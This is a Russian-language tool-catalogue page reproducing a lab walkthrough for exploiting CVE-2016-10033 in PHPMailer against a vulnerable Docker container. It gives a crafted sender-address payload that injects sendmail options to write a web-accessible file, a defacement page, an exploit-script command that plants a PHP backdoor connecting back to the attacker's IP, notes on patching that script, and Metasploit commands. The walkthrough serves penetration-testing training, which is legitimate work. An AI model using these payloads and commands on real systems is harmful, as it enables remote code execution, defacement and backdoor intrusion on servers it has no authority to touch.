Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2016-10033 — Доказательство концепции для CVE-2016-10033 (PHPMailer) | Kitploit
Инструменты/GitHubGitHub/astrowmist/poc-cve-2016-10033
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubastrowmist/poc-cve-2016-10033

POC-CVE-2016-10033

Доказательство концепции для CVE-2016-10033 (PHPMailer)

Репозиторий
62 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

POC-CVE-2016-10033

Сначала давайте запустим уязвимое приложение

Шаг 1: Выполните следующую команду, чтобы загрузить уязвимый Docker-образ из репозитория Docker.

Команда: docker pull vulnerables/cve-2016-10033

alt text

Шаг 2: Запуск Docker-образа в Docker Desktop с открытием порта 8080.

alt text

Теперь вы можете получить доступ к уязвимому сайту по адресу localhost:8080 в веб-браузере.

alt text

Метод 1: через веб-страницу

Шаг 1: Заполните форму следующими данными:

Поле имени: OSEC (может быть любой строкой, это не влияет на эксплуатацию)
Сконструированный email отправителя: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com

То, как работает этот сконструированный email отправителя, подробно объясняется в разделе описания вектора атаки. Что касается конкретных параметров, второй параметр -oQ/tmp указывает каталог очереди, а третий параметр -X/www/pwn.html указывает местоположение файла журнала для записи. Если каталог очереди не указан, процесс sendmail попытается получить доступ к каталогу очереди по умолчанию (/var/spool/mqueue-client/), который будет защищен для предотвращения несанкционированного доступа и вмешательства, что является обычной мерой безопасности. Чтобы избежать этой проблемы с разрешениями, следует указать каталог очереди, в котором пользователь, запускающий PHP-скрипт, имеет права на запись. Обычно используется каталог, например /tmp, поскольку он обычно доступен для записи всем пользователям. Если тело email содержит PHP-код и если указанный файл журнала помещен в веб-доступный каталог, злоумышленник может выполнить PHP-код, обратившись к файлу журнала через веб-браузер, что приведет к удаленному выполнению кода.

Поле сообщения: Это просто пример HTML-файла, который злоумышленник может загрузить. Конечно, злоумышленник может загрузить что-то гораздо более опасное, например, бэкдор, что мы и сделаем в следующем методе эксплуатации

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacked!</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;        
        }
        .container {
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1 style="color: red;">Congratulations! You've been hacked!</h1>
        <div>
            
            <p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
        </div>
    </div>
</body>
</html>

Шаг 2: После отправки формы перейдите к HTML-файлу, который мы только что загрузили, по адресу http://localhost:8080/pwn.html

alt text

Метод 2: через командную строку (эксплойт-скрипт)

Требования: Этот скрипт совместим только с Python 2 (он не работает с Python 3).

Шаг 1: Загрузите эксплойт-скрипт по адресу https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py

Шаг 2: Затем запустите скрипт со следующими аргументами:

Команда: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www

-url -> указывает целевой URL
-cf -> указывает расположение контактной формы в URL, указанном в -url. (В нашем случае он совпадает с -url, поэтому мы просто включили слеш)
-ip -> указывает IP-адрес злоумышленника для обратного подключения бэкдора
-d -> указывает относительный каталог для загрузки PHP-файла бэкдора
--post-action -> Атрибут name скрытого поля
--post-msg -> Атрибут name поля ввода сообщения

alt text Примечание: Причина, по которой мы должны указать --post-action как “submit” и --post-msg как “message”, заключается в том, что в используемом нами уязвимом приложении атрибут name отличается от значений по умолчанию, используемых в скрипте эксплойта на Python.

Атрибуты name в уязвимом приложении:

alt text

Атрибуты name по умолчанию, указанные в скрипте: alt text

Шаг 3: После выполнения команды мы получили ошибку, показанную ниже

alt text
На изображении выше видно, что программа пытается получить доступ к http://127.0.0.1:8080//www/phpbackdoor9284.php, что, очевидно, неверно из-за //www. Это не сработает, потому что в этом уязвимом сайте /www является корнем веб-сайта, поэтому вы не можете перейти к http://127.0.0.1:8080/www, поскольку http://127.0.0.1:8080 уже находится в /www.

Также на изображении ниже мы видим, что эксплойт на самом деле сработал, потому что phpbackdoor9284.php был успешно создан в каталоге. Таким образом, единственной проблемой было то, как убрать //www из URL.
alt text

При дальнейшем изучении скрипта Python нам удалось найти переменную BACKDOOR_URL, которая указывает URL-адрес PHP-файла бэкдора. В переменной мы видим, что целевой каталог, который мы указали (args.TARGET_UP_DIR), объединяется с переменной BACKDOOR_FILE. Чтобы решить проблему, нам нужно удалить это и дополнительный слеш.

Before:
alt text

After:
alt text

**Обратите внимание, что скрипт в этом репозитории уже изменен и готов к использованию

Шаг 4: Теперь снова выполните предыдущую команду, и на этот раз бэкдор должен быть успешно загружен в корневой каталог веб-сайта и должен подключиться обратно к моей Kali.

alt text

Метод 3: Metasploit

Шаг 1: Введите msfconsole в терминале Kali, чтобы открыть Metasploit. Затем найдите модули Metasploit для CVE-2016-10033. Выберите модуль, указав соответствующий индекс. На скриншоте ниже мы выбрали 1, который нацелен на PHPMailer < 5.2.18.

Команды:
msfconsole
search CVE-2016-10033
use 1
alt text

Шаг 2: Установите необходимые параметры для модуля эксплойта, такие как IP-адрес цели, порт, целевой URL и корень веб-сайта.

Команды:
set RHOSTS 192.168.79.1 (указывает IP-адрес цели)
set RPORT 8080 (указывает порт цели)
set TARGETURI /(указывает URL веб-формы)
set WEB_ROOT /www (указывает, где находится корень веб-сайта)

Скачать инструмент